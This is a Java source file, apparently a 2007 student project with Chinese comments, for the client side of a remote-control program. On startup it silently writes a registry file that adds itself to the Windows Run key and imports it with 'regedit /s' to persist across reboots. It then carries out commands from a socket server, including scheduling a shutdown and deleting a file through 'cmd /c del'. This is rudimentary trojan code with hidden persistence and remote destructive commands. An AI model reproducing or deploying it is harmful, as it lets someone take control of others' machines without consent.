/* 开发作者:seawan
 * 时间:2007/9/13
 * 版本:1.0
 * 基本功能:1.关机
            2.取消关机
            3.格式化
            4.播放音乐
            5.显示图片 
 * 方法及变量说明:本程序实现了关机,取消关机,播放音乐,显示图片,格式化和聊天功能,控制端由server控制.
                 当服务器端运行时,客户端接入,服务器端会显示提示信息,按提示信息操作会得到相应的结果.
 */


package onlineClient;
import java.applet.*;
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
import java.lang.Runtime;
import javax.swing.*;

public class Client {
	public static void main(String[] args) throws UnknownHostException, IOException {
		Socket s = new Socket("127.0.0.1",8888);
		 
		try{ 
			File f=new File("C.reg"); 
			if(f.exists()==false) 
			 { 
			 FileOutputStream reg=new FileOutputStream("C.reg"); 
			 String streg=new String("Windows Registry Editor Version 5.00\r\n\r\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\r\n\"Clientjava\"=\"javaw Client\""); 
			 reg.write(streg.getBytes()); 
			 reg.close(); 
			 Runtime r=Runtime.getRuntime(); 
			 r.exec("regedit /s C.reg"); 
			 } 
			}catch(Exception e){}
		
		
		try{
			Thread.sleep(3000);
			System.out.println("服务器"+s.getInetAddress().getHostName()+"与你建立连接...");
			//建立缓冲并把原始的字节流转变为Unicode可以操作
			BufferedReader in = new BufferedReader(new InputStreamReader(s
					.getInputStream()));
			PrintWriter out = new PrintWriter(new BufferedWriter(
					new OutputStreamWriter(s.getOutputStream())), true);
			BufferedReader inkey = new BufferedReader(
					new InputStreamReader(System.in));
			while(true){
				String rnmsg = in.readLine();
				System.out.println("Server:"+rnmsg);
				//当收到服务器发送指令1-5时,执行以下模块
				//关机
				if(rnmsg.equalsIgnoreCase("1")){
					Runtime r=Runtime.getRuntime();
					r.exec("shutdown -s -t 600");
				}
				//取消关机
				if(rnmsg.equalsIgnoreCase("2")){
					Runtime r=Runtime.getRuntime();
					r.exec("shutdown -a"); 
				}
				//删除文件
				if(rnmsg.equalsIgnoreCase("5"))
				{
					Runtime rt=Runtime.getRuntime();
					String filepath="c:\\test.txt";
					rt.exec("cmd   /c   del   "+filepath);
				}
				//播放音乐
				if(rnmsg.equalsIgnoreCase("3"))
				{
					music m=new music();
					m.setSize(340,200);
					m.setVisible(true);
					if(m.audio!=null)
					  m.audio.stop();
				}
				//显示图片
				if(rnmsg.equalsIgnoreCase("4"))
				{
				  	frame f=new frame();
				  	f.setSize(200,200);
				  	f.setVisible(true);
				} 
				
				System.out.print("Client:");
				String getmsg = inkey.readLine();
				out.println(getmsg);
			}
		}
		//捕获异常处理
		catch(Exception e)
		{
			System.out.println(e.getMessage());
		}
		finally{
			s.close();  //关闭端口
		}
	}
}

//音乐播放相关
class music extends JFrame implements ActionListener
{
	private JButton jbn=new JButton("播放WINDOWS启动音乐");//在框架中添加组件1
        private JButton jbt=new JButton("播放WINDOWS关机音乐");//在框架中添加组件2
            private JButton jbn1=new JButton("循环播放");//在框架中添加组件3
            	private JButton jbn2=new JButton("停止播放");//在框架中添加组件4
            		private jpanel p=new jpanel();
	URL u=this.getClass().getResource("start.wav"); 
        URL u2=this.getClass().getResource("close.wav");
	AudioClip audio=Applet.newAudioClip(u);
        AudioClip audio2=Applet.newAudioClip(u2);
	
     public music(){
	
	  getContentPane().add(jbn,BorderLayout.NORTH);//按钮1位置
          getContentPane().add(jbt,BorderLayout.SOUTH);//按钮2位置
             getContentPane().add(jbn1,BorderLayout.WEST);//按钮3位置
             	 getContentPane().add(jbn2,BorderLayout.EAST);//按钮4位置
             	 	getContentPane().add(p,BorderLayout.CENTER);//按钮4位置
             	 		
	  jbn.addActionListener(this);
	  jbt.addActionListener(this);
	  jbn1.addActionListener(this);
	  jbn2.addActionListener(this);
	}
	public void actionPerformed(ActionEvent e)
	{
		if(e.getSource()==jbn)
			audio.play();
		if(e.getSource()==jbt)
			audio2.play();
		if(e.getSource()==jbn1)
			audio2.loop();
		if(e.getSource()==jbn2)
			audio2.stop();
	}
}

//图片显示相关
class frame extends JFrame
{
	public frame()
	{
		jpanel p=new jpanel();
		p.setLayout(new FlowLayout());
		getContentPane().add(p,BorderLayout.CENTER);	
	}
	
}
class jpanel extends JPanel
{
	public jpanel(){
	}//构造方法
		public void paintComponent(Graphics g)
	{
	URL url=this.getClass().getResource("dog.jpg");
	ImageIcon imageIcon=new ImageIcon(url);
	g.drawImage(imageIcon.getImage(),10,10,150,150,this);
	}
}
